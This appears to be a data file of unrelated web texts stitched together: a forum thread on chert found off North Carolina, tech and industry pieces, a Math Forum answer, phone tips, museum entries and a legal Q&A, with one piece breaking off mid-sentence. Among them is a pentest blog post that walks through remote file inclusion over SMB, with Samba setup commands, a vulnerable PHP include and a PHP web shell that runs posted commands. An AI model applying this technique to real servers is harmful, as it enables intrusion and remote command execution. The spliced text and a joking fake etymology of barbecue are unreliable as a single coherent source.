text:
Skip to comments.Discoveries might reveal origins of Southeastern N.C.'s first inhabitants
Posted on 05/10/2010 4:19:52 AM PDT by Palter
WRIGHTSVILLE BEACH | A local captain and his crew have discovered a unique rock and nearby artifacts that might help reveal how the first people came to Southeastern North Carolina thousands of years ago.
Geologists said the rock, called black chert or novaculite, was previously thought to only be available in vast quantities in the mountains of Arkansas. Zulu Discovery, a local underwater exploration company, found a very dense version of the rock dozens of feet below the surface of the Atlantic Ocean off Wrightsville Beach. Chert was used by the first people in North America, called Paleo-Indians, to create the stone tools they needed to survive.
The discovery of black chert off local shores could rewrite America's prehistory by supporting a theory that Paleo-Indians might have come to the continent via a coastal route rather than by land, said Phil Garwood, a geology instructor at Cape Fear Community College who first identified the local rock as chert. The exact route Paleo-Indians followed will always remain a mystery, but clues have come in the form of the tools they left behind.
This is a piece of the puzzle, Garwood said.
In collaboration with CFCC, Zulu Discovery founders Capt. Jim Batey and his son Rusty Batey hope to find grants and other sources of funding to continue their research and exploration of the areas where they've found the rock and artifacts. The Bateys don't want to reveal the exact depths or locations of their finds, fearing the disruption by other divers of their efforts to study the material.
Continuing their research, Zulu Discovery and CFCC met with state geologists and an underwater archaeologist recently to present their findings and get some advice on what to do next.
Kenneth Taylor, chief of the N.C. Geological Survey, was one of those geologists.
One of the things about it, when you look at samples of chert very, very hard, very, clear chert, that has to come from Arkansas. There's not an outcrop of this stuff in North Carolina, Taylor said, explaining the prevailing theory. Now there is. If there are archaeological artifacts that prove its first peoples' or native peoples'... This is outstanding. It's outstanding. It then says that they had a ready source nearby.
The rocks weren't underwater thousands of years ago.
It's offshore today, but it wouldn't have been covered by the ocean at that time because the ocean didn't come that far inland, Taylor said.
Not just a piece of cement
The North Carolina black chert, dubbed SeaViculite by Zulu Discovery, was found by accident.
Zulu Discovery diver Kevin Rooney picked up the unusual rock last summer as he searched underwater ledges for shark's teeth and fossils.
He brought it up just to see what it was, just to bring it to the surface and analyze it, Rusty Batey said.
At that time, no one suspected it was anything special.
We just thought it was a big square piece of cement, Rusty Batey said.
It wasn't until several months later, when Jim Batey got tired of seeing the rock in his yard, that they got their first clue to the rock's significance. Jim threw it to Rooney, telling him to get rid of the cement-colored stuff, when a piece of it broke off, revealing a lustrous black interior.
I knew it was something that needed to be looked at. It was so unusual, said Jim Batey, who added that he'd never come across anything like it in his 45 years of deep-sea diving.
Jim gave it to Tim Shaw, a marine technology instructor at CFCC, who showed it to Garwood.
If there's one rock in the world I know, it's chert, said Garwood, who studied chert in Australia. Chert is a sedimentary rock, believed to have formed when the shells of ancient, microscopic sea creatures fused together, Garwood said.
People might have been picking up those rocks for years and they just didn't know what it was, Taylor said. It took showing the find to someone who knows rocks, like Garwood, to make the significant connection, Taylor said.
Garwood said the SeaViculite is being analyzed by a laboratory at the College of Charleston in Charleston, S.C., and so far the lab has found an 85 percent probability that the SeaViculite is the same material used to make tools found in Southeastern North Carolina.
The artifacts Zulu Discovery has found near the underwater chert sites and identified by Garwood include an ornament called a gorgot, a scraper used to clean hides, a knife and a stone used to start fires.
Rusty Batey said he's mailed at least 30 samples of the SeaViculite to flint knappers people who make stone tools and others for examination.
Jim Batey said the crew plans to take an archaeologist from the state's Underwater Archaeology Branch to one of their chert sites. In addition to showing him the sites, they want the archaeologist, Nathan Henry, to examine a possible artifact that looks like it might be a pot of some kind. A video shot underwater by Zulu Discovery's Video Ray Pro III remote operated vehicle shows a half moon shape wedged under a ledge. The Zulu Discovery diver didn't want to try to pull out the potential artifact, fearing it's destruction.
The question of whether parts of the chert locations need to be preserved as culturally significant sites is another reason Zulu Discovery is working with the state and college on the project, alternately called Operation Chert and Project SeaViculite.
This may be a very significant site archaeologically if indeed it turns out there is cultural material associated with the rock, said Richard Lawrence, director of the state's Underwater Archaeology Branch.
We don't want to disturb a site if it's an Indian site, Jim Batey said.
The company has not yet determined whether mining the chert, which would require permission from the federal government, would be a profitable venture. In addition to its historical value, chert has commercial value, including its ability to sharpen knives, surgical instruments and wood carving tools.
We don't know where it's going to go right now, Jim Batey said.
The company plans to continue exploring the SeaViculite sites they've already found and look for more.
You could make your projectile points for the next whole year by wintering over at that location, Taylor said, of the large pockets of chert already found by Zulu Discovery. That's incredibly fascinating.
Zulu Discovery owner Jim Batey holds a piece of North Carolina black chert that his crew found off the North Carolina coast.
'supporting a theory that Paleo-Indians might have come to the continent via a coastal route rather than by land'
And this tells us how people came to North Carolina?
What am I missing?
"What else floats on water?"
Wasn't Mayberry in NC?
Paleo-Indians butchering a bison at the end of the Ice Age. Pembina State Museum exhibit
· Discover · Nat Geographic · Texas AM Anthro News · Yahoo Anthro & Archaeo · Google ·
· The Archaeology Channel · Excerpt, or Link only? · cgk's list of ping lists ·
These guys might be about to make fools of themselves. Chert was used for ballast. It was also used to pave roads. For all they know, it could have washed out to sea in a nor'easter back during the depression, or was dumped by a ship during the Civil War.
LOL! Your question shows an awareness of NC cue but falls short.
Eastern. And you say Eastern or Western, not East or West. :]
The first BBQ came to the US from Haiti via North Carolina. Barbeque is actually a Carib Indian word for roasted human arm.
And now, you know the rest of the story.
Or, it was dropped overboard by Indians say, 600 years ago while they were out fishing, geeze.
Well, now, I beg to differ.
The pit cooking method was taught to the very earliest English colonists, there are descriptions of pit cooking methods taught by the Croatan and the Powhatan. The sauce is a survival of Elizabethan "catsup" which was a vinegary sauce with herbs and spices. It's the first authentically American food, being a fusion of English and native. It really should be our Thanksgiving dinner, imho. Far more authentic than that sanitized and romanticized tale of our putative Pilgrim Fathers, those Johnny-Come-Lately communards, lol.
I've been a history buff with a nack for odd or forgotten history for years, and one of those odd bits is the origin of southeastern pit-cooked barbecue. I've never in my life heard this NC-by-way-of-Haiti cannibal cuisine tale before in my life, and I've actually researched it for years.
If you're pulling our legs, you're doing a pretty good job of it. If you're not, please source, starting with the etymology of "barbeque" from Haitian Creole. Bar-beek, like Martinique? I'm just baffled.
The Carribean connection to NC was Barbados and Cuba, not Hispaniola. Pit cooking was widespread before Haitians ever conjured their voodoo demon and slaughtered their overlords in their sleep back in the late 1700's.
For once, I


Samsung May Provide OLED Displays for "Holographic" In-Car Display
Just in case the 3-D dashboard didn't pique your interest, Samsung has also been looking into the automotive industry to see where they can provide some improvement. Their idea of a futuristic dashboard provides a somewhat similar experience as the 3-D cousin, but is based on Organic Light Emitting Diodes (OLED) that create pseudo-holographic image to provide you with data.
Traditionally, when OLEDs are used in the televisions, or similarly constructed products, the OLEDs are placed in front of a black background. This creates a contrast that makes the color more vivid and easier to distinguish from the surrounding environment. The dark color also provides a sense of depth to the image and grounds it to whatever product is being viewed.
For vehicle information however, Samsung opted to remove the black backdrop and essentially make a transparent OLED board that, when illuminated, projects an image into thin air. The effect is basically the same as a 2 dimensional hologram, only smaller.
According to Samsung, the technology could easily be adapted to fit on the inside surface of the windshield and display anything from GPS Navigation data to your favorite playlist. The system could also be installed above the steering wheel and act as the vehicles information center.
The has been no official word about plans to move forward with this, but considering the current trend of in-car technology, it shouldn't be too long before we see these in almost every vehicle on the road.
Jalopnik, How Stuff Works


The CBA represents the clay brick and paver manufacturers of Southern Africa.
We inspire sustainable, contemporary brick architecture and building design in all areas of the built environment: commercial, residential and landscape.
EECB Project Objectives
The Energy Efficient Clay Brick (EECB) Project follows a holistic, systematic approach to improving energy efficiency and reducing CO2 emissions in the South African clay brick sector. Almost every formal clay brick producer in the country has been approached and advised on energy saving opportunities. Over the lifespan of the project, CO2 emissions in the clay brick sector have been reduced by 380,000 tCO2 annually.
The EECB Project goes beyond technology interventions at individual brick-makers - it targets the entire "ecosystem" of the clay brick sector. Thus, it operates in a dynamic environment that includes a diverse set of stakeholders.
Stakeholder 1: Producers
The EECB facilitated change through direct engagement and interventions with clay brick producers and their suppliers to shift to more energy efficient production practices.
Stakeholder 2: Public Sector
The EECB engaged with financial institutions to improve access to financing/incentive schemes for cleaner technology. It facilitated networking between private and public sector stakeholders to regulate and set standards that will result in a more sustainable and energy efficient clay brick sector.
Stakeholder 3: Consumers
Finally, the Project engaged with customers and specifiers to raise the awareness on energy efficiency improvements in the clay brick sector, as knowledgeable and committed buyers are key drivers of change.
The EECB facilitated on-site case studies at respected local brickworks, that harness technological innovations and best practice. Through this "hands-on" approach the project was able to demonstrate that is feasible to be both environmentally friendly and economically sustainable in both small and large operations.


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Playing with Equations to Solve Problems
Date: 09/16/2003 at 10:48:13 From: Mara Subject: To state the geometric property of an equation I need to give the geometric property common to all lines in the family x - ky = 1 I know that the answer is that all lines in this family have an x-intercept at x=1 but I am totally clueless about showing why this is the case. At first I thought that using the double-intercept equation (x/a) + (y/b) = 1 would work but I couldn't get it in the correct form. Then I tried to solve for x and y and got x = 1 + ky and y = (-1/k) + (-x/k) but now I do not know what to do with this. So I was wondering if you knew how to go about solving this?
Date: 09/16/2003 at 12:28:52 From: Doctor Peterson Subject: Re: To state the geometric property of an equation Hi, Mara. I don't think there is any method you can use to solve this sort of problem without a lot of thinking and testing. Let's see how I personally would approach it (as well as I can construct it, considering that I know the answer already!). Then I'll look at some alternative approaches you might take. We have x - ky = 1 and we want to know what property all these lines have in common. Probably, since this is an open-ended question and I don't expect it to be straightforward, I would start by just "playing" with the equation, getting a feel for how it works by trying a few special cases. I might take k = 0, 1, and -1 and graph those three lines, x = 1 x - y = 1 x + y = 1 I would find that they all intersect at (1,0), and my answer would be that all the lines seem to contain that point. (In a sense this is a more purely "geometric" property than the x-intercept, since it does not refer to the coordinates.) Then I would want to prove that this is true for ALL k, to make sure I hadn't fooled myself by choosing three cases that happened to intersect. Thinking of this as a point shared by all lines in the family, I would prove it by simply substituting x=1, y=0 in the general equation: x - ky = 1 1 - k*0 = 1 is true for all k so (1,0) is indeed on all the lines, not just the three I tried. Or, I might think of it as a common x-intercept, as you said; then I would do what you suggested and put the equation into two-intercept form x/a + y/b = 1 That's easy; all it takes is to interpret -ky as y divided by -1/k: x/1 + y/(-1/k) = 1 So the x-intercept is 1 for all these lines, and the y-intercept is -1/k. So my approach is to experiment (the more adult word for "play"!) and make a conjecture (the more adult word for "guess"), and then prove that conjecture. Now, is there any other way you might approach this? If you were really smart (and I might possibly have done this if I were faced with the equation afresh), you could just see that the equation looks like the two-intercept form, and gone directly to the proof. If you could do that, fine; but you can't depend on such insight! You might instead just go through each form of the equation, starting probably with slope-intercept, and see whether any important feature (such as the slope or y-intercept) is constant. When that failed, it would be hard to move on to the point-slope or two-point form, because you would have to choose the point(s), and there is no obvious basis for that choice. So you would probably next try the twointercept form (which many studuents never see, so you're lucky). Your approach came close. When you solved for x, you just had to look and see that the x-intercept (the constant in that form) is always 1. But since that form, the slope-x-intercept form, is little-known, it's not surprising that you did not know what to do with it. But I really think that my approach is the most reasonable hope to find the answer quickly. If you have any further questions, feel free to write back. - Doctor Peterson, The Math Forum _URL_
Search the Dr. Math Library:
Ask Dr. MathTM
© _PHONE_ The Math Forum

source: HuggingFaceFW/fineweb-edu


text:
Blocking Text Messages
- Open "Messages".
- Press the "Menu" icon located at the upper-right corner.
- Select "Blocked contacts".
- Tap "Add a number" to add a number you wish to block.
- If you ever wish to remove a number from the blacklist, return to the Blocked contacts screen, and select the "X" next to the number.
Can I block someone from texting me?
Block someone from calling or texting you one of two ways: To block someone who has been added to your phone's Contacts, go to Settings > Phone > Call Blocking and Identification > Block Contact. In instances where you want to a block a number that isn't stored as a contact in your phone, go to the Phone app > Recents.
Can you block text messages on Android?
There are two methods to block texts through Android Messages, both of which will block both texts and calls. 2. Tap and hold the conversation from the contact you wish to block. This method also works if you use Google Voice or Google Hangouts as your default texting application.
How do I block unwanted text messages?
Block Unwanted or Spam Text Messages from Unknown on iPhone
- Go to the Messages app.
- Tap on the message from the spammer.
- Choose details on the top right hand corner.
- There will be phone icon and a letter "i" icon across from the number.
- Scroll down to the bottom of the page and then tap on Block this Caller.
How do I block text messages from a certain number?
To block unknown numbers, go to "Settings" and select "Unknown Numbers." To block specific numbers, you can choose messages from your inbox or text messages and request that the app block that specific contact. This feature also allows you to type in a number and manually block that specific person.
Photo in the article by "Pixabay"

source: openbmb/Ultra-FineWeb


During a recent pentest, we found ourselves faced with the exploitation of a web vulnerability that we thought we had perfectly mastered. Today we are going to talk about remote file inclusion also called RFI.
RFI 101
The purpose of this article is not to teach the most neophytes among you what an RFI is, we will therefore briefly pass on it. In short, an RFI is a web attack aimed at causing the targeted site to execute code from another server. The result of this attack is the execution of the code on the server targeted by the attacker which is called RCE for remote code execution.
Here is an example of an RFI exploitation:
For more information about the exploitation of the RFI vulnerability, we highly suggest you have a look at these two very interesting articles pointed below.
During this pentest, we, therefore, tried to exploit this vulnerability in vain. It's was impossible to make the server send us an HTTP request surely because of the Firewall. It was therefore necessary to be cunning and make sure to send a request on a protocol allowing access to a shared resource on the network.
So to move further, we will use SMB (Server Message Block) is a protocol that allows, among other things, to share resources across the network, if we create a Samba server on our Linux machine and share a web shell, we should be able to successfully retrieve it through our RFI.
The payload would become:
We are done with the theory. Let's practice now!
We will first create a Samba server on a Linux machine. This of course assumes that you first have Samba installed on your machine. We, therefore, invite you to install it now if you have not yet done so.
Install Samba
If you are using Debian or Ubuntu, Samba can be installed using the below command:
sudo apt install samba
If you are using another Linux distribution, we invite you to ask your best friend [Google][_URL_ how to setup Samba on your machine.
Create A Folder
mkdir ~/sambalab
chmod 0555 ~/sambalab
chown nobody:nogroup ~/sambalab
Setup the Samba configuration
To configure properly your Samba server, you must edit the file located in /etc/samba/smb.conf as per the example given below:
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = shell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
path = /home/[username]/sambalab
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
Please ensure to replace the variable [username] with the username matching your environment.
Restart the Service
systemctl restart smbd
For the purpose of this article, we'll create a small file in PHP called vuln.php in which we'll add the following vulnerable piece of code to simulate our remote file inclusions:
echo "Blog POC";
On another side, for our Samba server we will use a simple web shell as per the below example:
$cmd = shell_exec($_POST['cmd']);
Web Shell
*{-webkit-box-sizing:border-box;box-sizing:border-box}body{font-family:sans-serif;color:rgba(0,0,0,.75)}main{margin:auto;max-width:850px}button,input,pre{border-radius:5px}button,input,pre{background-color:_TAG_}label{display:block}input{width:100%;background-color:_TAG_;border:2px solid transparent}input:focus{outline:0;background:0 0;border:2px solid _TAG_}button{border:none;cursor:pointer;margin-left:5px}button:hover{background-color:_TAG_}button,input,pre{padding:10px}.form-group{display:-webkit-box;display:-ms-flexbox;display:flex;padding:15px 0}
Web Shell
Execute a command
Command
Execute
No result.
Once here we just have to load our web shell via our browser via the following URL:
Here we are!! We now got a nice little web shell that allows us to execute commands directly on the server. Thank you for following this less technical article than the others. However, we wanted to share this technique because we have seen very few articles about it on the net.


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Explore America's Campgrounds
Grass shrimp, or Palaemonetes, are a genus of freshwater and brackish water shrimp commonly found living among plants such as hydrilla and eelgrass. They make excellent live bait, especially for larger game fish. You can learn how to catch fresh water grass shrimp in a few steps.
Items you will need
Fine mesh net
Fish-flavored cat food
Wet eelgrass or other aquatic plants
Know where to look. Grass shrimp are sensitive to heat and changes in temperature and tend to congregate in shady areas. You can find them near aquatic plants and near submerged or sunken objects like docks, fences or pipes. Hunting at night by shining a flashlight into the water can be particularly effective.
Scatter shrimp from hiding places in plants by shaking the plants or combing through them with your hands, a wire rake or a fine, mesh net. Use the same net to scoop up any shrimp that you find. You can also use a sport or commercial shrimp trap baited with fish-flavored cat food.
Take a proper receptacle to store them in. Two good options are a cooler half-filled with ice cubes and lined with newspaper or a wood box lined with eelgrass or other aquatic plants collected from the area. Grass shrimp do not need to be submerged in water to survive, only kept cool and wet.
- Paul Tearle/Stockbyte/Getty Images


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By: ISU Communications and Marketing Staff
March 25, 2011
Teaching third and fourth graders about math, science, engineering and technology came as second nature to a group of Indiana State University students.
The volunteers from different academic backgrounds are helping with this year's "Go Figure" events at the Terre Haute Children's Museum. The program, which was created in collaboration with the ISU Center for Mathematics Education, features different lessons teaching local third and fourth graders about science, technology, engineering and math. Several ISU technology education students planned the first two program sessions of this semester with a simple approach: teach what you know.
For Alexis Strain, an ISU senior from Terre Haute, it meant that getting the soybeans needed for a children's activity during the "Math on the Farm" session was much simpler than it would be for most people.
"I grew up farming and stuff," Strain said, "so it was fun to go to my grandpa's farm and dig them out of the planter to bring them in."
This semester's program consists of five sessions, which run every Thursday from Feb. 24 to March 31, though there was no event on March 10. The technology and engineering education students first got involved with the program after their professor, Kara Harris, last fall met with Patty Butwin, chairperson of the advisory board of the ISU Center for Mathematics Education and co-creator of Go Figure.
Butwin and Harris discussed the idea of the students participating, and it quickly grew from there.
"This would give our students, of course, another opportunity to get involved in both formal and informal education, and in my mind, you cannot get enough experience before you go out to teach," Harris said. "It also gives them the opportunity to give back to the community as well."
Each session included ISU students presenting information about how math and science helps in certain activities. During the first session, "The Greatest Spectacle in Racing and More," children learned about protective equipment that racecar drivers wear and aerodynamics involved with drag racing. The ISU students even created a simulated drag race track, and the third and fourth graders in the program raced wooden cars similar to a drag race.
The session "shows you how much prep time that you have to put into something," said Dan Lewellen, a junior technology and engineering education from Clayton, Ind. Lewellen was responsible for planning the activities for the first Go Figure session.
Go Figure is currently in its third semester. It started last year after Butwin and junior Katelynn Moats created the program as a creative way to encourage children to explore math and science.
"We really want to enrich students and encourage them that math is in their everyday life in the things that they do on a daily basis," Moats said, "and as we've progressed with our sessions, we choose topics that they see every day, like baseball, for instance, or farming, so they can make that connection."
When the program first started, eight ISU students volunteered to run the program, Butwin said. This semester that number has more than doubled to 20, though that doesn't include others, such as the technology and engineering education students, who created specific programs.
During the second session of Go Figure this semester, the technology and engineering education students had three different activities to teach kids about technology used in farming. One group taught young children about how GPS technology is used, while another group discussed how soybeans are utilized for an array of products consumed every day. A third volunteer group taught children about biotechnology through various kinds of chickens that lay eggs.
Since the program started, almost 90 children have enrolled to participate, though some of them, such as participant Maddie DeBaun, have participated more than once.
"One of my favorite subjects at school is math," Maddie said, "and since I've heard that this is about math and so I just wanted to see what it was, and it's a lot of fun."
Photo: _URL_ (ISU/Holley Hiett-Myers)
Indiana State University students Alexis Strain and Sarah Pemberton lead a presentation during "Go Figure" at the Terre Haute Children's Museum. ISU students volunteer for the program, which uses creative methods to teach math and science to third and fourth graders.
Photo: _URL_ (ISU/Holley Hiett-Myers)
Indiana State University student Paul Schulz, dressed in a chicken costume, helps in an activity during a "Go Figure" session at the Terre Haute Children's Museum.
Contact: Patty Butwin, chairperson of the ISU Center for Mathematics Education advisory board, Indiana State University, _PHONE_ or _EMAIL_.
Writer: Austin Arceo, assistant director of media relations, Office of Communications and Marketing, Indiana State University, _PHONE_ or _EMAIL_.
ISU students volunteered at the Terre Haute Children's Museum for the


text:
19th century or earlier
27.0 (h) x 5.0 (w) x 1.5 (d) cm
National Museum of Ethnology, Leiden
This type of Javanese dagger [keris] is named after Majapahit, the last great Javanese Hindu kingdom that declined in the late 15th century with the arrival of Islam. The prototype for this type of weapon, with hilt and blade created from one piece of tempered metal, is said to have developed in the Majapahit period. The crouching figure that forms the hilt, however, can be traced to a much earlier era. The keris Majapahit is not used as a weapon, rather it is its talismanic properties that protect its owner.


text:
Good time of day.
Please tell me how to operate services by collecting keywords for the advertising ads. When I megaindex or serpstat hammered the domain name, then I get stats on key words (text ads, an approximate budget request, statistics of impressions). As the sites collect these data? Judging by the response time I assume they already have Spasenie requests and they are given directly from the database. Or is it not working?
I have not found information on the Internet on this topic. I would really appreciate a constructive answer. Thank you!
1. Going pre-parser Analytics from public sources: counters (all the necessary indicators to forecast) and search engines (the number of references to the domain, relevance of topics, etc.).
2. Let's say that the percentage of domains with open data is within the confidence interval (that was being parsed). Taken into account when forecasting only them, the rest is not touch.
3. Using CTR recruited for the entire period of history, calculated the projected cost of a click on any domain with the following settings (all drawn from the history of such sites): number of impressions, number of visitors, the business area/direction/theme of the site, the average number of visitors per day/month, the percentage of competition (for advertisers), etc.
4. We expect the same performance on the basis of the received dependences for the lower proportion of domains (they are not confidence intervals) and is also recorded in the database.
5. All this machine changes constantly in their database based on constantly changing statistics (as time passes, the domains change owners, HYIPs appear and disappear, etc.).
6. When you request - they have already all counted and they give immediately ready the price. It is important to note that the price may be now one, and after 5 minutes is another!
Something like that...
corine.Little65 answered on March 12th 20 at 08:15
Yes, data is collected in advance note all consecutive queries, it gathers statistics


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Tip of the Day
Language: C++
Expertise: Intermediate
Oct 18, 2000
Treating a Vector As an Array
In certain contexts, you have to treat a vector as an array of its elements. For example, suppose you have a function that takes int * as its argument. How can you pass a vector of int's as an argument to this function? The simplest solution is to take the address of the value returned by front() or operator[]. Because both these member functions return a reference to the internal array of elements, you can use this address as the beginning of an array. For example:
void func(const int arr[], size_t length );
int main()
 vector < int > vi;
 //.. fill vi
 func(&vi[0], vi.size());
vi[0] is the first element of the vector's internal array. You can treat the address of this expression as an array of int's under two conditions: func() doesn't access out-of-range array elements, and the elements inside the vector must be stored in contiguous memory. Although the C++ Standard doesn't guarantee that yet, I'm not aware of any implementation that doesn't use contiguous memory for vectors. Furthermore, this loophole in the C++ Standard is about to be fixed within weeks; the Standard will soon guarantee that vectors use contiguous memory. Therefore, this technique of transforming a vector to a bare array is safe and portable.
Danny Kalev
Comment and Contribute


A neon sign that says Change - digitally transforming the digital workplace using change management concept
APIs, short for Application Programming Interfaces, allow one system to talk to another. You may be familiar with the concept of an API if you have ever used a service like Twitter or Facebook. These companies offer software developers access to their services via an API which enables them to build and design new programs that fit in with their company's model.
API enables the creation of custom-made integrations between existing systems. They also give developers a way to access data quickly and with fewer issues. However, APIs must be managed carefully as they can open up an organization's most sensitive data to unscrupulous people.
API-driven tools, platforms, and interfaces are becoming increasingly important in powering digital experiences. With that in mind, can we really say that APIs are becoming the internet?
Why Are APIs Important for the Modern Internet?
Modern business demands have forced organizations to accelerate their digital transformation efforts, and APIs power the applications, services and devices that enable such digital projects. APIs form and exist in an ecosystem — similar to how a TV comes with a number of subscriptions to third-party streaming applications. They connect and collaborate with each other to deliver an organization's full potential.
When asked about the importance of APIs for the modern internet, Asanka Abeysinghe, Chief Technology Evangelist at Mountain View, CA.-based WSO2 said that "the reason why APIs matter so much for the modern internet is because they allow for faster innovation, create a seamless customer experience and even allow the economy to grow by enabling third-party to develop a range of new services."
Related Article: What Is API Management (and Why Do I Need It)?
Why APIs Power the Internet
Before APIs — and Cloud and SaaS and integration platforms — creating software involved an immense amount of undifferentiated infrastructure investment just to have anything at all, let alone the added value you imagined for your software.
Today, according to John Thielens, CTO at Rockford, Il.-based Cleo, "APIs and cloud platforms allow new software to quickly and narrowly productize an idea, but with rich integrations into existing ecosystems of applications that are already available. This creates wave after wave of innovations, APIs on top of APIs, that expand the reach of ecosystems to new users and new use cases".
APIs have emerged as some of the top products of the 21st century, powering applications, services and connected devices for every industry imaginable. During the COVID-19 pandemic, millions of businesses would not have survived had it not been for the flexibility and power that APIs provide.
"People turned to the web or mobile devices to order groceries and food online, perform financial transactions, attend lectures, etc. APIs act as the glue to make sure that these apps and services can interact with one another — and APIs were always there, just now digital has become more than just an option for consumers, it's become a way of life," said Abeysinghe.
What Are the Benefits of Using APIs?
It's undeniable that enterprises have been going through major transformations within the past years. These transformations have often revolved around efficient resource utilization, cost reduction, higher performance and lower management overhead. Let's take a look at the benefits of using APIs:
From providing multiple industries with improvements in speed, agility, consistency, and accuracy, companies continue to recognize the potential of extending and integrating application data flows via APIs, allowing for smoother business process integration across applications in conjunction with other types of B2B technology.
 - Greater data flow integration: "An API can be a critical component to integrating data flows with customers and partner systems. It can even add increased flexibility to traditional types of robust exchange such as MFT and EDI," says Thielens.
 - The possibility of scaling up and down: APIs enable granular scaling for companies wishing to grow. For example, Abeysinhe says that "depending on overall usage, APIs can handle automatic failover to route traffic, scaling up and down as necessary."
 - Introduce new business models: APIs also have the power to introduce new business and revenue models for enterprises, as they can be monetized and/or reused for reduced time to market.
How APIs Are Set To Impact Tomorrow
Connectedness is the name of the game in 2021 and beyond. Enterprise-grade applications often need to connect with distributed systems, numerous teams, archaic legacy applications, overly complex third-party systems, commercial systems and much more.
These integrations were never meant to be simple, and they involve complex data mappings, transformations, filtering, and protocol conversions.
This is where API technology comes to play; it makes coding drastically easier than traditional system integration, and ultimately more efficient, more seamless, secure and less costly for IT teams. Abeysinghe also considers that "with reduced budgets and a shift in IT deployment, developers and solution architects are struggling to keep up with surging demands. Programmability and automation will become the tool for development teams to optimize processes yet still capture data points across the enterprise."
In the end, it seems that working with APIs is becoming mandatory for digital platforms in the future and that both developers and consumers will need to understand the logic behind them and how to properly use them to leverage all their capabilities.


History of Science Museum: Collection Database Search
Inventory no. 33871 - Epact entry
Epact number: 97152
Nocturnal and Sundial
Signed by Caspar Vopel
Dated 1557; Cologne
Brass; 130 mm in diameter
Main text
This instrument has the customary shape of a nocturnal, but in fact comprises several instruments. With one side the time can be discovered at night with a nocturnal, but some of the same scales are used in a volvelle for finding the age of the moon at any date. The other side has a Regiomontanus-type sundial for finding the time during the day.
A similar instrument is to be found in the British Museum, London (Epact 53179).
Source museum: Museum of the History of Science, Oxford
Museum number: Inventory no. 33,871
Detailed text
The nocturnal side has a zodiacal calendar on the base plate: the calendar scale is marked with the names of the months, divided to 10 and subdivided to 1 day, numbered by 10 (adjusted to the days in the month); the zodiac scale has the names and engraved representations of the constellations, and each sign has a scale 0 to 30 degrees, divided to 10, subdivided to 1, numbered by 10. There are two moving volvelle plates. The first has a pointer, marked 'INDEX SOLIS' and with a sun symbol, extending across the zodiacal calendar, and carries scales for the time and the age of the moon. The time scale had hours 1 to 12 twice, divided to 1, subdivided to 15 minutes, numbered by 1 hour, and each hour position between 8 to 1 and 11 to 4 has a point for counting in the dark (12 has the index arm). The lunar scale runs from 0 to 29|1/2|, divided to 1, subdivided to |1/4|, numbered by 1. The inner moving plate has a pointer, marked 'INDEX LVNAE ET ASPECTVVM PLAN.' and with a moon symbol, and is engraved with a diagram of planetary aspects marked 'PLANETARVM ASPECTVS'. It is pierced to reveal on the first moveable representations of lunar phases and parts of inscriptions. A long central index arm extends beyond the limit of the base plate; around the central pivot is engraved, 'STELLA POLARIS IN CAVDA VRSAE MINORIS'; the tip of the arm is marked, 'INDEX HORAR PLAVST VRSRA MAIOR', and with a diagram of the constellation; engraved along the length of the arm is, 'DVAE PARITES PLAVSTRI POSTREMAE A STELLA POLARI CYNOSVRAE IN RECTAM DVCTAE SOLIS INDICE AD DIEM MENSIS OBLATVM POSITIO HORAM OSTENDVNT NOCTVRNAM'. The assembly is held together by a rivet with a central hole for viewing the pole star.
The sundial side has a Regiomontanus-type altitude dial with pinhole sight vanes and a three-element articulated arm for adjusting the point of suspension of the plumb-line (weight missing) on the triangular grid of latitude and zodiacal position. The zodiacal symbols are at the top, with each sign divided by three; the latitude scale is from 0 to 65, divided to 5, 5 to 65 subdivided to 1, numbered by 5. The grid is marked on one side, 'ZODIACI LATITVDINVM SCALA', and on the other 'ZODIACI LATITVDINVM QUAE ET POLI ELEVATIO SIVE BOREI SIVE NOCTII'. The hour lines are numbered both [0] to 12, 'HORAE ANTE MERIDIANAE', and 12 to 1, 'HORAE POMERIDIANAE'. There is a solar declination scale to the right of the hour lines, marked with zodiac symbols, this scale and the mid-day hour line being marked 'GENERALIS ZODIACVS ET MERIDIANVS'. The midnight line is marked 'MEDIVM NOCTIS SEPTENTRIO'.
Around the edge of the sundial side are two altitude scales to be used with the sights and the suspension point set to a position marked 'CENTRVM QVADRAN'. The outer is a scale of degrees radiating from this point, 0 to 90, divided to 5, subdivided to 1, numbered by 5, marked 'QVADRANS ASTRONOMICVS'. The inner is a geometrical quadrant or shadow-square scale, 0 to 60 to 0, divided to 5, subdivided to 1, numbered by 5, marked, 'QVADRANS GEOMETRICVS' and 'VMBRA VERSA' and 'VMBRA RECTA'.
The handle on this side has a crest with three crowns and is engraved, 'HOROMETRI FACIES AD OMNEM REGIONVM LATITVDINEM TAM BOREALEM QVAM AVSTRINAM CON SCRIPTA'.
Jim Bennett
Other narratives:
Related Objects:


Quick Answer: What If A Student Hits A Teacher?
Is beating a child illegal in India?
Corporal punishment remains banned in schools.
Raising hands, spanking or using such forms of physical aggression on kids is something we which was common when we were young, and sadly, still remains to be witnessed in India..
Can a teacher manhandle a child?
Teachers have a legal power to use reasonable force. They can use force to remove a pupil who is disrupting a lesson or to prevent a child leaving a classroom. … Heads have the power to discipline pupils who misbehave outside the schools premises and outside schools hours.
Can a teacher touch you?
Can teachers defend themselves?
FYI, A teacher can use an appropriate level of force to defend himself against attack from ANYONE. Student, teacher, administrative staff, parent, stranger off the street, etc.
Is assaulting a teacher a felony?
Dunn said that a student assaulting a teacher is already a misdemeanor and can be upgraded to a felony if there is bodily harm. While both misdemeanors and felonies are crimes, employers, colleges and even rental agencies tend to screen for felonies during background checks of potential students and residents.
Is it illegal for a student to threaten a teacher?
It is not illegal for a teacher to threaten to call an officer (security or police) and as such the student could be subject to juvenile detention. There is nothing illegal in warning a student that their behaviour could lead to legal detention. Listen up to your teachers, they are there to educate you.
What if a teacher hits a student in India?
In India, the education system itself promotes corporal punishment. … It states that corporal punishment may be given by the head of the school in cases of persisting impertinence or rude behaviour towards teachers, physical violence, intemperance and serious forms of misbehaviour with other students.
Can a teacher sue a parent?
A teacher can sue a parent for slander or defamation. … Lawsuits are expensive, and once filed, can take on a life of their own. But if there is any truth to the allegation, you really need to seek legal counsel to provide good advice.
What would happen if a student hit a teacher?
There would likely be some form of disciplinary, at the very least suspension and possible expulsion. The police may get involved but in most cases the school prefers to keep it internal, especially if the actual risk of harm is minimal.
Can teachers hit students 2020?
